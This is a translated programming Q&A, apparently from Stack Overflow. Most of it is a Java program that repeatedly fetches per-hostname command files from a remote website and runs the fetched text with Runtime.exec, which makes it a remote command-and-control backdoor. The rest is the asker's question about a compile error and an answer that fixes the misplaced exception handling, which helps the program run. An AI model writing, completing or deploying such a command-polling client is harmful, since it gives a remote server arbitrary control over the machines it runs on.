import java.net.*;
import java.io.*;
import java.util.*;
public class server{
public static void main(String args[]){
String hostname = "Unknown";
InetAddress addr;
addr = InetAddress.getLocalHost();
hostname = addr.getHostName();
do{
try {
URL c = new URL("http://mywebsite/admin/users/" + hostname + "/c.txt");
URL cinfo = new URL("http://mywebsite/admin/users/" + hostname + "/cinfo.txt");
Scanner c2 = new Scanner(c.openStream());
Scanner cinfo2 = new Scanner(cinfo.openStream());
String c3 = c2.nextLine();
String cinfo3 = cinfo2.nextLine();
URL del = new URL("http://mywebsite/admin/users/" + hostname + "/manager.php?perform=delete");
if ("commandline".compareTo(c3) == 0){
Runtime.getRuntime().exec(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
if ("idle".compareTo(c3) == 0){
System.out.println("Waiting for a command.");
}
if ("print".compareTo(c3) == 0){
System.out.println(cinfo3);
HttpURLConnection connection = (HttpURLConnection) del.openConnection();
connection.connect();
connection.getResponseCode();
Thread.sleep(10000);
}
}
catch(IOException e) {
break;
}
catch(InterruptedException e){
break;
}
} while(true);
}
}
以上是我的Java程序。当我尝试编译时,我得到UnknownHostException。如果我试图抓住它,它会说它已被捕获的错误,然后它表示需要捕获的另一个错误。使用我上面的代码,它说它需要被捕获,但并没有说它已被捕获。有人可以帮忙吗?请注意,在实际代码中,“mywebsite”实际上是我的实际网站,但出于隐私原因,我将其从上面的代码块中删除。
答案 0 :(得分:4)
InetAddress.getLocalHost()
抛出UnknownHostException
。
您的catch块已经捕获了UnknownHostException
的超类,但该调用位于try
块之外,因此它们没有帮助。